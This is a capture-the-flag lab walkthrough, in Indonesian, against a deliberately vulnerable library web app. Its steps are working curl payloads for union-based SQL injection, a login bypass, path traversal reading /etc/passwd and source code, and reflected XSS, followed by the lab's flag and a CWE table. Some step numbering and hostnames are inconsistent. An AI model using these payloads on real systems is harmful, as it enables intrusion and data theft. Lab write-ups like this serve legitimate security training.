Lab Challenge 02: Library - Multi-Vuln SQL Injection Walkthrough

Target: lib.vuln.cybersecurity.or.id (Port 8084)
Vulnerability: SQL Injection (Union-based) + Path Traversal + XSS
Tools: curl, browser
Author: TDCTF Security Academy - Cybersecurity Indonesia

Objective

Temukan flag yang tersembunyi di server Library App dengan mengeksploitasi berbagai celah keamanan.

Step 1: Reconnaissance

# Halaman utama
curl -s http://vuln.cybersecurity.or.id/

# Endpoints yang ditemukan
#   /search   - Pencarian buku (GET)
#   /book/1   - Detail buku (GET)
#   /login    - Halaman login (POST)
#   /admin    - Admin panel (NO AUTH!)
#   /download - Download file (GET)

Temuan: Admin panel tanpa autentikasi - langsung bisa lihat semua user & buku:

curl -s http://vuln.cybersecurity.or.id/admin

Tapi admin panel tidak menampilkan password dan flag.

Step 2: SQL Injection #1 - Book Detail

Endpoint /book/<id> rentan SQL injection:

# Konfirmasi error
curl -s "http://vuln.cybersecurity.or.id/book/1'"

# UNION dengan 4 kolom
curl -s "http://vuln.cybersecurity.or.id/book/0%20UNION%20SELECT%201,2,3,4--%20-"

Kolom ke-1 → <h1>, kolom ke-2 → Author, kolom ke-3 → Year.

# Database version
curl -s "http://vuln.cybersecurity.or.id/book/0%20UNION%20SELECT%201,sqlite_version(),3,4--%20-"

# Table schemas
curl -s "http://vuln.cybersecurity.or.id/book/0%20UNION%20SELECT%201,group_concat(sql),3,4%20FROM%20sqlite_master--%20-"

Step 3: SQL Injection #2 - Search

# Search dengan SQLi
curl -s "http://vuln.cybersecurity.or.id/search?q=test'%20UNION%20SELECT%201,2,3,4--%20-"

# Bypass login dengan SQLi
curl -s -L -X POST http://vuln.cybersecurity.or.id/login \
  -d "username=admin' OR '1'='1&password=x" \
  -c /tmp/lib-cookie.txt

Step 5: Path Traversal

# Baca /etc/passwd
curl -s "http://vuln.cybersecurity.or.id/download?file=../etc/passwd"

# Baca app.py (source code)
curl -s "http://vuln.cybersecurity.or.id/download?file=app.py"

Step 6: Dapatkan Flag

# Baca file flag.txt
curl -s "http://vuln.cybersecurity.or.id/download?file=secret/flag.txt"

Flag: FLAG{LibR4ry_1nj3ct10n_2025}

Step 7: Bonus - XSS

# XSS Reflected di search
curl -s "http://vuln.cybersecurity.or.id/search?q=<script>alert('XSS')</script>"

# Stored XSS via review
# POST /review dengan payload <script> di kolom review
# Karena render_template_string menggunakan |safe filter

Analisis

Attack Chain:

/book/1 → UNION SQLi → database info
/download?file= → Path Traversal → baca source code
/login → SQLi bypass → session admin
/download?file=secret/flag.txt → 🏆 FLAG!

6 Kerentanan dalam 1 Aplikasi:

#	Vuln	Lokasi	Dampak
1	SQL Injection	`/book/<id>`	Ekstrak data
2	SQL Injection	`/search?q=`	Ekstrak data
3	SQL Injection	`/login` POST	Bypass autentikasi
4	Path Traversal	`/download?file=`	Baca file sistem
5	XSS Reflected	`/search`	Eksekusi script
6	Stored XSS	`/review`	Persistent XSS

CWE / CAPEC

ID	Deskripsi
CWE-89	SQL Injection
CWE-22	Path Traversal
CWE-79	XSS
CWE-306	Missing Authentication
CAPEC-66	SQL Injection
CAPEC-126	Path Traversal

Generated by @farishhz Agent Pentest Pipeline - TDCTF Security Academy